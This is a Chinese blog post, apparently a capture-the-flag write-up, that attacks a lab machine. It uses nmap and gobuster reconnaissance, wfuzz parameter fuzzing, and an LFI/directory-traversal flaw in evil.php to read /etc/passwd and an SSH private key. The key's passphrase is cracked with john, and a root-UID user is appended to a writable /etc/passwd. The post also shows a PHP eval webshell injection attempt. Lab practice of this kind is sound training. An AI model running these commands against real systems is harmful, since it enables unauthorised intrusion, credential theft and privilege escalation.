kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读

0605-vb-06


avatar
11 2026年6月22日 14

1.扫描网段

命令:nmap -sn 10.0.2.0/24

欧日日日

  • 10.0.2.1是网关
  • 10.0.2.2是虚拟 DNS / 主机转发地址
  • 10.0.2.4是靶机ip
  • 10.0.2.15是kali的

2.扫描端口

命令:nmap -sV 10.0.2.4

有一个22的ssj远程连接,一个80的Apache页面

3.爆破目录

命令:gobuster dir -u http://10.0.2.4/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,inc,bak,sql,phtml -t 50

/

这里有一个301的路径和一个html文件  我们尝试进入一下

这个是Apache是默认页面

进入了没有报错,但是是空白。再爆破一下这个路径

命令:gobuster dir -u http://10.0.2.4/secret/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,inc,bak,sql,phtml -t 50

进入尝试一下

两个都是空白,无报错。

4.目前我们最优先就是猜测evil.php有一个变量,现在要去寻找这个变量

命令:wfuzz -c –hc 404  -t 3 \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
“http://10.0.2.4/secret/evil.php?FUZZ=evil.php”    用wfuzz工具来爆破变量   FUZZ是自带的变量名

有点太多了,筛选过滤一下 长度为0的页面–hh 0

命令:wfuzz -c –hc 404 –hh 0 -t 3 \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
“http://10.0.2.4/secret/evil.php?FUZZ=evil.php”

爆破结果是无,思考了一下可能是因为本身就无法进入的原因,编个码在进行爆破

命令:wfuzz -c –hc 404 –hh 0 -t 3 \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
“http://10.0.2.4/secret/evil.php?FUZZ=php://filter/convert.base64-encode/resource=evil.php”

成功找到变量为command

5.查看evile.php源码

6.尝试调用命令或上传一句话木马

命令:http://10.0.2.4/secret/evil.php?command=ls

命令:curl -A “<?php eval(\$_GET[‘cmd’]); ?>” http://10.0.2.4/secret/evil.php

失败,这么弄都不行。

7.重新排查查找可看文件

命令:wfuzz -c –hc 404 –hw 0 -t 3 -w /usr/share/wfuzz/wordlist/vulns/dirTraversal-nix.txt “http://10.0.2.4/secret/evil.php?command=php://filter/convert.base64-encode/resource=FUZZ”

可以访问/etc/passwd而且要目录穿越4层以上,访问以下这些文件内容

../../../../etc/shadow
../../../../var/log/apache2/access.log
../../../../var/log/apache2/error.log
../../../../home/mowree/.ssh/id_rsa
../../../../home/mowree/.ssh/id_rsa.pub
../../../../tmp/
../../../../etc/group
../../../../etc/hosts
../../../../etc/crontab

命令:curl “http://10.0.2.4/secret/evil.php?command=../../../../etc/passwd”

查看passwd发现除了root外,还有一个mowree的普通账户

命令:curl “http://10.0.2.4/secret/evil.php?command=../../../../etc/crontab

发现没有可利用的点,执行者看者都是root,查了权限但没有可写的路径

命令:curl “http://10.0.2.4/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa”

发现有密钥,可以说这是目前找到的最有价值的东西。

8.尝试ssh连接

命令:echo “私钥” > 123.txt

命令:chmod 600 123.txt     必须把权限写小,权限过大无法调用密钥文件

命令:ssh -i 123.txt mowree@10.0.2.4

要输入密码,准备爆破密码

命令:ssh2john 123.txt > ssh_hash.txt

命令:john –wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt      利用john工具来爆破密钥密码

命令:john –show ssh_hash.txt

得到私钥密码 unicorn

shell连接成功

9.寻找提权方式

命令:find / -perm -g+s -type f -ls 2>/dev/null

未发现太异常的文件

命令:ls -ld /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

都不可写,无法利用

命令:sudo -l

没有

命令:cat /etc/os-release

很正常

命令:getcap -r / 2>/dev/null

也没有

命令:find / -writable -type f 2>/dev/null | grep -v proc

查看当前用户可写文件,发有一个/etc/passwd

10.写入一个超级用户

命令:openssl passwd -1 123456

命令:echo “hacker:$1$bv3nU05x$RrnGXfQe9Tw7EYhYSPhZ:0:0:root:/root:/bin/bash” >> /etc/passwd

命令:su hacker

失败了,可能是因为双引号的原因,把$解析成了变量导致密码错误,也有可能是我前面尝试的时候已经写了一个hacker的原因

命令:echo ‘root2::0:0:root:/root:/bin/bash’ >> /etc/passwd

尝试了一下写未空,也不行

命令:echo ‘hacker3:$1$bv3nU05x$RrnGXfQe9Tw7EYhYSPhZj/:0:0:root:/root:/bin/bash’ >> /etc/passwd

命令:cat /etc/passwd

11.用BurpSuite变量爆破

在BurpSuite里进行监听,web页面注入命令,注意因为evil.php本身不能访问,必须要编码不然看不出来

命令:http://10.0.2.4/secret/evil.php?page=php://filter/convert.base64-encode/resource=evil.php

进入BurpSuite点击右键 进入Send to lntruder,点击之后上方黄色的Proxy右边的lntruder也会显示黄色,点击进去

进来之后,选中需要爆破的参数右键点击Add payload position进入高亮,后点击右边的load…  进入爆破字典的选择

这里我们选择burp-parameter-names.txt,选好后点击上方黄色Start attack 开始爆破

然后就进了这里,寻找突出的变量

我这里手输了一个正常的变量,可以看到明显不同



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码